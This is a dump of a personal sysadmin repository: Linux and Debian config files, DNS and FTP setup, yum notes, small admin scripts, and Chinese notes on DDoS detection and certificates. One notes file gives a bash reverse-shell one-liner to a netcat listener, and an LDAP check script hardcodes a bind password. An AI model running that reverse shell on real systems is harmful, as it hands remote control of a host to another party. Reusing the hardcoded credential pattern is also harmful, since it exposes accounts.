10.50.100.86 n86.test 10 | 10.50.100.93 n93.test 11 | 12 | 13 | [root@vm220 ~]# cat /etc/resolv.conf 14 | nameserver 10.50.100.93 15 | nameserver 223.5.5.5 16 | 17 | [root@vm220 ~]# service dnsmasq restart 18 | 放行TCP和UDP的53端口。 19 | 20 | 测试: 21 | [root@node93 ~]# nslookup e01.test 22 | Server: 10.50.100.220 23 | Address: 10.50.100.220#53 24 | 25 | Name: e01.test 26 | Address: 10.50.100.30 -------------------------------------------------------------------------------- /IAAS/OS/Centos/conf/limits.conf: -------------------------------------------------------------------------------- 1 | root soft nofile 65535 2 | root hard nofile 65535 3 | * soft core unlimited 4 | * hard core unlimited 5 | * soft nofile 1048576 6 | * hard nofile 1048576 7 | * soft nproc 32768 8 | * hard nproc 32768 9 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/[Nginx].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/Debian6/[Nginx].txt -------------------------------------------------------------------------------- /IAAS/OS/Debian6/[apache2.2, mysql5.0, php5.3].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/Debian6/[apache2.2, mysql5.0, php5.3].txt -------------------------------------------------------------------------------- /IAAS/OS/Debian6/[apt, rc, cifs, date, cron].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/Debian6/[apt, rc, cifs, date, cron].txt -------------------------------------------------------------------------------- /IAAS/OS/Debian6/[dns, samba, ftp, nfs].txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/Debian6/[dns, samba, ftp, nfs].txt -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/.bashrc: -------------------------------------------------------------------------------- 1 | # ~/.bashrc: executed by bash(1) for non-login shells. 2 | 3 | # Note: PS1 and umask are already set in /etc/profile. You should not 4 | # need this unless you want different defaults for root. 5 | # PS1='${debian_chroot:+($debian_chroot)}\h:\w\$ ' 6 | # umask 022 7 | 8 | # You may uncomment the following lines if you want `ls' to be colorized: 9 | export LS_OPTIONS='--color=auto' 10 | eval "`dircolors`" 11 | alias ls='ls $LS_OPTIONS' 12 | alias ll='ls $LS_OPTIONS -l' 13 | alias l='ls $LS_OPTIONS -lA' 14 | 15 | # Some more alias to avoid making mistakes: 16 | alias rm='rm -i' 17 | alias cp='cp -i' 18 | alias mv='mv -i' 19 | alias grep='grep --color' -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/.vimrc: -------------------------------------------------------------------------------- 1 | set nocompatible 2 | syntax on 3 | set nobackup 4 | set noerrorbells 5 | set vb t_vb= 6 | set smartindent 7 | set autoindent 8 | set cindent 9 | set tabstop=4 10 | set softtabstop=4 11 | set shiftwidth=4 12 | set nu 13 | set showmatch 14 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/apache2/httpd.conf: -------------------------------------------------------------------------------- 1 | Alias /main "/var/www/webroot/" 2 | Alias /nosmo "/home/nosmo/html" 3 | 4 | 5 | AllowOverride All 6 | Options MultiViews Indexes Includes FollowSymLinks 7 | 8 | Order allow, deny 9 | Allow from all 10 | 11 | 12 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/apache2/sites-available/phpmyadmin: -------------------------------------------------------------------------------- 1 | 2 | ServerName 192.168.1.234 3 | ServerAdmin nosmo@pc.world 4 | 5 | DocumentRoot /var/www/phpmyadmin/ 6 | ErrorLog "/var/log/apache2/phpmyadmin_error.log" 7 | CustomLog "/var/log/apache2/phpmyadmin_access.log" common 8 | 9 | 10 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/bind/db.192.168.1: -------------------------------------------------------------------------------- 1 | $TTL 38400 2 | @ IN SOA pCdebian6.pc.world. nosmo.pc.world. ( 3 | 20120326 4 | 10800 5 | 3600 6 | 604800 7 | 38400 8 | ) 9 | @ IN NS pCdebian6.pc.world. 10 | 11 | 234 PTR pc.world. 12 | 13 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/bind/db.pc.world: -------------------------------------------------------------------------------- 1 | $TTL 38400 2 | @ IN SOA pCdebian6.pc.world. nosmo.pc.world. ( 3 | 20120326 4 | 10800 5 | 3600 6 | 604800 7 | 38400 8 | ) 9 | @ IN NS pCdebian6.pc.world. 10 | 11 | pc.world. IN A 192.168.1.234 12 | pCdebian6 IN A 192.168.1.234 13 | www IN A 192.168.1.234 14 | ftp IN A 192.168.1.234 15 | phpmyadmin IN A 192.168.1.234 16 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/bind/named.conf.local: -------------------------------------------------------------------------------- 1 | // 2 | // Do any local configuration here 3 | // 4 | 5 | // Consider adding the 1918 zones here, if they are not used in your 6 | // organization 7 | //include "/etc/bind/zones.rfc1918"; 8 | 9 | zone "pc.world" { 10 | type master; 11 | file "/etc/bind/db.pc.world"; 12 | }; 13 | 14 | zone "1.168.192.in-addr.arpa" { 15 | type master; 16 | file "/etc/bind/db.192.168.1"; 17 | }; 18 | 19 | logging { 20 | channel query.log { 21 | file "/var/log/dns.log"; 22 | severity debug 3; 23 | }; 24 | category queries { query.log;}; 25 | }; 26 | 27 | 28 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/bind/named.conf.options: -------------------------------------------------------------------------------- 1 | options { 2 | directory "/var/cache/bind"; 3 | 4 | // If there is a firewall between you and nameservers you want 5 | // to talk to, you may need to fix the firewall to allow multiple 6 | // ports to talk. See http://www.kb.cert.org/vuls/id/800113 7 | 8 | // If your ISP provided one or more IP addresses for stable 9 | // nameservers, you probably want to use them as forwarders. 10 | // Uncomment the following block, and insert the addresses replacing 11 | // the all-0's placeholder. 12 | 13 | forwarders { 14 | 211.148.192.141; 15 | 211.148.192.151; 16 | }; 17 | 18 | auth-nxdomain no; # conform to RFC1035 19 | listen-on-v6 { any; }; 20 | }; 21 | 22 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/hosts: -------------------------------------------------------------------------------- 1 | 127.0.0.1 localhost 2 | #127.0.0.1 pCdebian6.pc.world pCdebian6 3 | 127.0.0.1 pCdebian6 4 | # The following lines are desirable for IPv6 capable hosts 5 | ::1 ip6-localhost ip6-loopback 6 | fe00::0 ip6-localnet 7 | ff00::0 ip6-mcastprefix 8 | ff02::1 ip6-allnodes 9 | ff02::2 ip6-allrouters 10 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/resolv.conf: -------------------------------------------------------------------------------- 1 | search pc.world. 2 | nameserver 192.168.1.53 3 | 4 | ;nameserver 211.148.192.141 5 | ;nameserver 211.148.192.151 6 | -------------------------------------------------------------------------------- /IAAS/OS/Debian6/debian6conf/etc/vsftpd.conf: -------------------------------------------------------------------------------- 1 | anonymous_enable=NO 2 | listen=YES 3 | local_enable=YES 4 | write_enable=YES 5 | local_umask=022 6 | use_localtime=YES 7 | xferlog_enable=YES 8 | connect_from_port_20=YES 9 | nopriv_user=vsftpd 10 | virtual_use_local_privs=YES 11 | guest_enable=YES 12 | user_sub_token=$USER 13 | local_root=/var/www/$USER 14 | ftpd_banner=Welcome to blah FTP service. 15 | chroot_local_user=YES 16 | hide_ids=YES 17 | guest_username=vsftpd 18 | secure_chroot_dir=/var/run/vsftpd/empty 19 | pam_service_name=vsftpd 20 | rsa_cert_file=/etc/ssl/private/vsftpd.pem 21 | -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/00.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/02.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/03.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/04.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/05.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/06.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/07.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/08.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/09.png -------------------------------------------------------------------------------- /IAAS/OS/cobbler/img/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/cobbler/img/10.png -------------------------------------------------------------------------------- /IAAS/OS/repo/yum/webtatic.txt: -------------------------------------------------------------------------------- 1 | https://webtatic.com/projects/yum-repository/ 2 | 3 | Webtatic EL6 for CentOS/RHEL 6: 4 | 5 | rpm -Uvh http://mirror.webtatic.com/yum/el6/latest.rpm 6 | 7 | 8 | 以安装php为例: 9 | 10 | # yum search php56 |grep php 11 | ============================== N/S Matched: php56 ============================== 12 | php56w.x86_64 : PHP scripting language for creating dynamic web sites 13 | 14 | 15 | # yum install php56w 16 | 17 | -------------------------------------------------------------------------------- /IAAS/OS/repo/yum/挂载系统光盘作为本地的yum源.txt: -------------------------------------------------------------------------------- 1 | 挂载系统光盘作为本地的yum源 2 | 3 | 问题:不小心删除了lvm这个包,,郁闷,系统启动失败,怎么办? 4 | 思路:没有本地yum源服务器的话,通过挂载DVD作为本地的yum源来安装lvm,然后重启即可。 5 | 6 | 7 | 系统启动时,进入修复模式,重新挂载/分区: 8 | # mount -o remount,rw / 9 | 10 | 挂载dvd到/media目录下 11 | # mount /dev/scd0 /media 12 | mount: block device /dev/sr0 is write-protected, mounting read-only 13 | 14 | 建立一个repo文件: 15 | # cat /etc/yum.repos.d/local.repo 16 | [dvd] 17 | name=test local 18 | baseurl=file:///media/Server 19 | enabled=1 20 | gpgcheck=0 21 | 22 | 23 | # yum update 24 | # yum --disablerepo=\* --enablerepo=dvd install lvm2 25 | -------------------------------------------------------------------------------- /IAAS/OS/windows/PC__SnapShot.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/PC__SnapShot.exe -------------------------------------------------------------------------------- /IAAS/OS/windows/etc.lnk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/etc.lnk -------------------------------------------------------------------------------- /IAAS/OS/windows/findstr-example.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/findstr-example.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/firewall.win7.port.cn.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/firewall.win7.port.cn.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/firewall.win7.port.en.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/firewall.win7.port.en.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/ip_switch.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/ip_switch.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/qq_checknetwork.2.3.11.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/qq_checknetwork.2.3.11.rar -------------------------------------------------------------------------------- /IAAS/OS/windows/set_ip.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/set_ip.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/win7_wlan.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/win7_wlan.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/zero.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/zero.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/关机.bat: -------------------------------------------------------------------------------- 1 | shutdown /s /t 100 -------------------------------------------------------------------------------- /IAAS/OS/windows/切换内外网的DNS【请以管理员身份运行】.cmd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/切换内外网的DNS【请以管理员身份运行】.cmd -------------------------------------------------------------------------------- /IAAS/OS/windows/国税IE环境设置.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/国税IE环境设置.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/在win7笔记本上建立wifi热点.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/在win7笔记本上建立wifi热点.png -------------------------------------------------------------------------------- /IAAS/OS/windows/日期和时间.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/日期和时间.bat -------------------------------------------------------------------------------- /IAAS/OS/windows/网络诊断v1.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/OS/windows/网络诊断v1.bat -------------------------------------------------------------------------------- /IAAS/SEC/K验证.vsd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/SEC/K验证.vsd -------------------------------------------------------------------------------- /IAAS/SEC/Reverse Shell Cheat Sheet.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/SEC/Reverse Shell Cheat Sheet.txt -------------------------------------------------------------------------------- /IAAS/SEC/bin/check_ldap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2016/1/19 4 | 5 | n=0 6 | for i in 1 2 3 7 | do 8 | /usr/bin/ldapsearch -h ldap.test.com -D "companyname\tester01" -w 123456 -b 'CN=tester01,OU=companyname,OU=Users & Workstations,DC=companyname,DC=com' >/dev/null 2>&1 9 | if [ $? -ne 0 ];then 10 | n=$(($n+1)) 11 | fi 12 | sleep .2 13 | done 14 | echo $n 15 | -------------------------------------------------------------------------------- /IAAS/SEC/bin/pw-exp: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # 2015/8/14 4 | 5 | import os 6 | import sys 7 | 8 | def gen_pw(): 9 | # yum -y install python-pip 10 | # pip install pwgen 11 | p = os.popen('/usr/bin/pwgen -1 -B -n 10') 12 | p = p.read().strip('\n') 13 | p = p[:5].upper() + p[5:].lower() 14 | return p 15 | 16 | def print_msg(): 17 | p1 = gen_pw() 18 | p2 = gen_pw() 19 | #msg = 'root:{0} root1:{1}'.format(p1,p2) 20 | msg = '{0} {1}'.format(p1,p2) 21 | print msg 22 | if __name__ == '__main__': 23 | print_msg() 24 | -------------------------------------------------------------------------------- /IAAS/SEC/bin/ssh_banner.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 设置ssh的提示内容。 3 | # 2015/8/25 4 | 5 | cat << _SSHCONFIG > /etc/ssh/ssh.banner 6 | [-] welcome to the wonderland ... 7 | [^] 8 | . ____ . ____ 9 | /\ ___ '\ /\ ____'\ 10 | \ \ _ \ \ \ \ \ \/ 11 | \ \ \/\ \/ \ \ \ 12 | \ \ - / \ \ \ 13 | \ \ \ \ \ \ 14 | \ \ \ \ \ \ 15 | \ \ \ \ \ \ __/\ 16 | \ \ \ \_\/____/ 17 | \_\/ 18 | [^] 19 | [^] '.': hard working now, take care! 20 | _SSHCONFIG 21 | 22 | sed -i s/^Banner/#Banner/ /etc/ssh/sshd_config 23 | sed -i /^#Banner/d /etc/ssh/sshd_config 24 | echo "Banner /etc/ssh/ssh.banner" >>/etc/ssh/sshd_config 25 | service sshd reload 26 | -------------------------------------------------------------------------------- /IAAS/SEC/bin/user_ssh_with_key.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 创建用户,并追加ssh public key 3 | # 使用这个命令来生成key 4 | # ssh-keygen -t rsa -b 2048 -C you_comment_here -f filename 5 | # 例如: 6 | # ssh-keygen -t rsa -b 2048 -C yourname@office -f yourname 7 | # 将生成个文件: 8 | # yourname 私钥 9 | # yourname.pub 公钥 10 | # 2015/07/14 11 | 12 | username='yourname' 13 | useradd ${username} 14 | id ${username} 15 | 16 | [ -d /home/${username}/.ssh ] || mkdir -p /home/${username}/.ssh 17 | 18 | cat <<_PUBKEY >> /home/${username}/.ssh/authorized_keys 19 | paste your public key(#cat yourname.pub) here 20 | _PUBKEY 21 | 22 | chmod 700 /home/${username}/.ssh 23 | chmod 600 /home/${username}/.ssh/authorized_keys 24 | chown -R ${username}:${username} /home/${username}/.ssh 25 | 26 | cat /home/${username}/.ssh/authorized_keys 27 | -------------------------------------------------------------------------------- /IAAS/SEC/ddos判断.txt: -------------------------------------------------------------------------------- 1 | 如何判断是否受到DDOS网络攻击? 2 | 可以结合以下现象初步判断是否受到DDOS攻击: 3 | 机器入流量出现陡增,同时出流量急剧下降; 4 | 服务器出现大量SYN,TIME_WAIT等异常连接( netstat –a |awk '{print $6}' |sort|uniq -c|sort -gk 1); 5 | 某些IP访问频率过高,占用大量资源(netstat -tun|awk '{print $5}'|uniq -c|sort -r),导致服务不正常等。 6 | 注:腾讯已经对常见的攻击进行了监控和防范,用户也可结合自身逻辑在服务器端限制特定IP访问。 7 | 8 | 9 | 如何防范DDOS网络攻击? 10 | 为了防范DDOS网络攻击,建议用户进行如下开发: 11 | 1. 建议在Server端引入超时机制,对指定时间内未发送请求或是未发完请求的客户端主动断开,规避空连接或是慢速请求攻击; 12 | 2. 建议对客户端请求频率做统计,对频繁超过配置的源IP,临时封禁一段时间,或是使用验证码进行限制,防止刷请求; 13 | 3. 建议安全保护逻辑前置在所有业务逻辑之前,避免恶意请求消耗过多服务器性能。 14 | -------------------------------------------------------------------------------- /IAAS/SEC/openssl/openssl-证书制作小结.txt: -------------------------------------------------------------------------------- 1 | openssl证书制作小结 2 | 2018/1/30 3 | 4 | 5 | 配置证书:请参考:https://docs.docker.com/engine/security/https/ 6 | 【CA, server, client 证书的生成示意图】 7 | 8 | | ca-key.pem -> ca.pem | 9 | |......................| 10 | /......................\ 11 | | server-key.pem->server.csr | ↓ | key.pem->client.csr | 12 | ↓ <-------> ↓ 13 | | server-cert.pem | | cert.pem | 14 | 15 | 16 | 17 | 建议使用 cfssl 这套工具来生成证书,具体操作请参考 k8s 部署 etcd 集群时的示例 18 | 查看证书: 19 | openssl x509 -noout -text -in xxx.crt 20 | -------------------------------------------------------------------------------- /IAAS/SEC/使用过的反弹shell的姿势小记.txt: -------------------------------------------------------------------------------- 1 | 使用过的反弹shell的姿势小记 2 | 3 | [ip_42] 4 | nc -l 192.168.20.42 8888 5 | 6 | [target] 7 | /bin/bash -i >& /dev/tcp/192.168.20.42/8888 0>&1 8 | -------------------------------------------------------------------------------- /IAAS/SEC/关注漏洞.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/SEC/关注漏洞.txt -------------------------------------------------------------------------------- /IAAS/SEC/关注范围.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/SEC/关注范围.txt -------------------------------------------------------------------------------- /IAAS/SEC/浅谈Ddos攻击攻击与防御.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/SEC/浅谈Ddos攻击攻击与防御.txt -------------------------------------------------------------------------------- /IAAS/SEC/系统漏洞修补.txt: -------------------------------------------------------------------------------- 1 | yum -y update bash && rpm -q --changelog bash |head -n 3 2 | yum -y update openssl && rpm -q --changelog openssl |head -n 3 3 | yum -y update glibc && rpm -q --changelog glibc |head -n 3 -------------------------------------------------------------------------------- /IAAS/cloudServer/KVM/kvm指令.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/KVM/kvm指令.xlsx -------------------------------------------------------------------------------- /IAAS/cloudServer/KVM/初探KVM-第一个虚拟机.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/KVM/初探KVM-第一个虚拟机.txt -------------------------------------------------------------------------------- /IAAS/cloudServer/OpenStack/OpenStack初探-概念.txt: -------------------------------------------------------------------------------- 1 | OpenStack初探-概念 2 | 3 | 一、结构 4 | 5 | 核心服务包括: 6 | Nova,计算服务(Compute as a service) 7 | Neutron,网络服务(Networking as a service) 8 | Swift,对象存储服务(Object as a service) 9 | Cinder,块存储服务(Block as a service) 10 | 11 | 公共服务包括: 12 | Glance,镜像服务(Image as a service) 13 | Keystone,认证服务(Identity as a service) 14 | Horizon,仪表盘服务(Dashboard as a service) 15 | 16 | 依赖库项目包括: 17 | Oslo,基础设施代码共享依赖库(Common Lab as a service) 18 | 19 | 孵化项目包括: 20 | Ceilometer,计费和监控服务 21 | Heat,编排服务 22 | Ironic,物理设备服务(Bare Metal as a service) 23 | Marconi,消息队列服务(Message Queue as a service) 24 | Savanna,大数据处理(MapReduce as a service) 25 | Trove,数据库服务(Database as a service) -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/CPU在bios中的一些选项.txt: -------------------------------------------------------------------------------- 1 | CPU在bios中的一些选项 2 | 3 | 涉及: 4 | 【C1E】:CPU Enhanced Halt,节能技术。建议:禁用。 5 | 【C-States】:节能技术。建议:禁用。 6 | 【Power Management】:电源管理。建议:使用最高性能。 7 | 8 | 关键词: 9 | 关闭C1E和C-State功能,不要节能技术来动态调节CPU的频率。 10 | 11 | 12 | 13 | 参考文章: 14 | 1、关于CPU C-States 省电模式,你需要知道的事情 15 | http://blog.chinaunix.net/uid-25871104-id-3072582.html 16 | 2、DELL服务器关闭C1E和C-State功能. 17 | http://jingyan.baidu.com/article/1e5468f90ab768484861b75a.html?st=3&net_type=1&bd_page_type=1&os=0&showimg=0&rst=2 18 | 3、云计算之路-阿里云上:对“黑色n秒”问题的最终猜想——CPU C-states引起的 19 | http://www.cnblogs.com/cmt/p/xen-cpu-c-states.html -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/s77.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/s77.png -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/s78.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/s78.png -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/s80.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/s80.png -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/s81.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/s81.png -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/s82.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/s82.png -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/机型.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/机型.txt -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器机型/硬件配置.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器机型/硬件配置.txt -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/服务器硬盘价格.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/服务器硬盘价格.png -------------------------------------------------------------------------------- /IAAS/cloudServer/Spec/生产环境上架规范.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Spec/生产环境上架规范.txt -------------------------------------------------------------------------------- /IAAS/cloudServer/UnitedStack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/UnitedStack.png -------------------------------------------------------------------------------- /IAAS/cloudServer/VMWare/VMware ESXI5.5安装.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/VMWare/VMware ESXI5.5安装.docx -------------------------------------------------------------------------------- /IAAS/cloudServer/Xen/SLES 11 SP2 安装和Xen虚拟化环境简单配置 .doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Xen/SLES 11 SP2 安装和Xen虚拟化环境简单配置 .doc -------------------------------------------------------------------------------- /IAAS/cloudServer/Xen/macgen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import random 3 | 4 | mac = [ 0x00, 0x16, 0x3e, random.randint(0x00, 0x7f), 5 | random.randint(0x00, 0xff), random.randint(0x00, 0xff) ] 6 | s = [] 7 | for item in mac: 8 | s.append(str("%02x" % item).upper()) 9 | print ':'.join(s) 10 | -------------------------------------------------------------------------------- /IAAS/cloudServer/Xen/初探xen-配置第一个虚拟机.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/Xen/初探xen-配置第一个虚拟机.txt -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/Mevoco NFS 商业存储方案网络拓扑图.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/Mevoco NFS 商业存储方案网络拓扑图.jpg -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/Mevoco 本地存储方案物理空间分布.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/Mevoco 本地存储方案物理空间分布.jpg -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/Mevoco 本地存储方案网络拓扑图.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/Mevoco 本地存储方案网络拓扑图.jpg -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/PD3001-ZStack数据中心部署实践-1.10.0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/PD3001-ZStack数据中心部署实践-1.10.0.pdf -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/PD3004-ZStack私有云实践指南-1.10.0.pdf: -------------------------------------------------------------------------------- 